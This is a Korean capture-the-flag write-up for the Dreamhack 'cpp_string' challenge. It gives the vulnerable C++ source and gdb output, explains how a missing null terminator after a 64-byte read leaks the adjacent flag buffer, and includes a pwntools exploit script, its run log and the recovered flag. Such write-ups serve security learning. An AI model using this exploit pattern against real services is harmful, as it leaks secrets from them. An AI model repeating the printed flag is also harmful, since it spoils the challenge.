[dreamhack] cpp_string writeup

1. 문제

thumbnail
cpp_string

이 문제는 서버에서 작동하고 있는 서비스(cpp_string)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/64

2. 풀이

#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>

char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;

int read_file(){
	std::ifstream is ("test", std::ifstream::binary);
	if(is.is_open()){
        	is.read(readbuffer, sizeof(readbuffer));
		is.close();

		std::cout << "Read complete!" << std::endl;
        	return 0;
	}
	else{
        	std::cout << "No testfile...exiting.." << std::endl;
        	exit(0);
	}
}

int write_file(){
	std::ofstream of ("test", std::ifstream::binary);
	if(of.is_open()){
		std::cout << "Enter file contents : ";
        	std::cin >> writebuffer;
		of.write(writebuffer.c_str(), sizeof(readbuffer));
                of.close();
		std::cout << "Write complete!" << std::endl;
        	return 0;
	}
	else{
		std::cout << "Open error!" << std::endl;
		exit(0);
	}
}

int read_flag(){
        std::ifstream is ("flag", std::ifstream::binary);
        if(is.is_open()){
                is.read(flag, sizeof(readbuffer));
                is.close();
                return 0;
        }
        else{
		std::cout << "You must need flagfile.." << std::endl;
                exit(0);
        }
}

int show_contents(){
	std::cout << "contents : ";
	std::cout << readbuffer << std::endl;
	return 0;
}

int main(void) {
    initialize();
    int selector = 0;
    while(1){
    	std::cout << "Simple file system" << std::endl;
    	std::cout << "1. read file" << std::endl;
    	std::cout << "2. write file" << std::endl;
	std::cout << "3. show contents" << std::endl;
    	std::cout << "4. quit" << std::endl;
    	std::cout << "[*] input : ";
	std::cin >> selector;
	
	switch(selector){
		case 1:
			read_flag();
			read_file();
			break;
		case 2:
			write_file();
			break;
		case 3:
			show_contents();
			break;
		case 4:
			std::cout << "BYEBYE" << std::endl;
			exit(0);
	}
    }
}

코드가 길지만 간단히 요약하면

  • read_file : test 파일로부터 sizeof(readbuffer)만큼 읽어서 readbuffer에 넣음
  • write_file : 입력한 내용을 sizeof(readbuffer)만큼 읽어서 writebuffer에 넣고, 이어서 바로 test 파일에 넣음
  • read_flag : flag 파일로부터 sizeof(readbuffer)만큼 읽어서 flag에 넣음
  • show_contents : readbuffer에 있는 값을 출력함

readbuffer, flag, writebuffer는 전역변수로 설정되어있고, No-PIE이기 때문에 전역변수로 지정된 주소는 변하지 않을 것이다. gdb를 통해 해당 변수들의 주소를 확인해보자.

pwndbg> disass read_flag
Dump of assembler code for function _Z9read_flagv:
   0x000000000040154b <+0>:	push   rbp
   0x000000000040154c <+1>:	mov    rbp,rsp
   0x000000000040154f <+4>:	push   rbx
   0x0000000000401550 <+5>:	sub    rsp,0x218
   0x0000000000401557 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000401560 <+21>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000401564 <+25>:	xor    eax,eax
   0x0000000000401566 <+27>:	lea    rax,[rbp-0x220]
   0x000000000040156d <+34>:	mov    edx,0x4
   0x0000000000401572 <+39>:	mov    esi,0x4018fc
   0x0000000000401577 <+44>:	mov    rdi,rax
   0x000000000040157a <+47>:	call   0x4010f0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt>
   0x000000000040157f <+52>:	lea    rax,[rbp-0x220]
   0x0000000000401586 <+59>:	mov    rdi,rax
   0x0000000000401589 <+62>:	call   0x401170 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEE7is_openEv@plt>
   0x000000000040158e <+67>:	test   al,al
   0x0000000000401590 <+69>:	je     0x4015e1 <_Z9read_flagv+150>
   0x0000000000401592 <+71>:	mov    edx,0x40
   0x0000000000401597 <+76>:	lea    rax,[rbp-0x220]
   0x000000000040159e <+83>:	mov    esi,0x6023c0
   0x00000000004015a3 <+88>:	mov    rdi,rax
   0x00000000004015a6 <+91>:	call   0x401010 <_ZNSi4readEPcl@plt>

read_flag함수의 일부이다. 마지막 read함수에서 esi0x6023c0을 넣어주는데, 해당 주소가 flag 변수의 주소일 것으로 보이므로 확인해보자.

pwndbg> x/10x 0x6023c0
0x6023c0 <flag>:	0x00000000	0x00000000	0x00000000	0x00000000
0x6023d0 <flag+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x6023e0 <flag+32>:	0x00000000	0x00000000

stripped: No이므로 아마 전역변수 심볼을 그대로 확인할 수 있을 것이다.

pwndbg> p &readbuffer
$2 = (<data variable, no debug info> *) 0x602380 <readbuffer>
pwndbg> p &writebuffer
$3 = (<data variable, no debug info> *) 0x602400 <writebuffer[abi:cxx11]>

따라서 정리하면 아래와 같이 변수가 들어가있고, 각 변수는 0x40만큼 떨어져있다.

변수명 주소
readbuffer 0x602380
flag 0x6023c0
writebuffer 0x602400

read_flag, write_flag, read_file함수 모두에서 sizeof(readbuffer)만큼 읽는데, 만약 64바이트를 모두 넣게되면 문자열을 출력할때 끊어줄 null바이트가 없기 때문에 아래와 같은 상황이 가능하다.

  • ⁣1. write_file로 test 파일에 64바이트를 넣고,
  • ⁣2. read_flag를 통해 flag를 읽고 read_filereadbuffer를 64바이트 다 채우면,
  • ⁣3. show_contents 수행시 readbuffer에 들어간 test 파일과 flag 값이 모두 이어져서 나올 것

이를 이용해서 exploit을 작성하였다.

from pwn import *

p = remote("host3.dreamhack.games", 23498)

p.sendlineafter("input : ", "2")

dummy = b"a" * 64

p.sendlineafter("Enter file contents : ", dummy)

p.recvuntil("input : ")
p.sendline("1")

p.sendlineafter("input : ", "3")

p.interactive()

결과는 아래와 같다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/cpp_string$ python3 e_cpp_string.py 
[+] Opening connection to host3.dreamhack.games on port 23498: Done
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("input : ", "2")
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("input : ")
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("1")
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("input : ", "3")
[*] Switching to interactive mode
contents : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDH{549390a9beb20a8d0e9a6aa0efcb571f}
Simple file system
1. read file
2. write file
3. show contents
4. quit
[*] input : [*] Got EOF while reading in interactive

cpp 코드와 함수가 익숙하진 않았지만 (특히 gdb 열었을 때 좀 놀랐다…) 흐름 파악 후에는 크게 어렵진 않았다.

해결~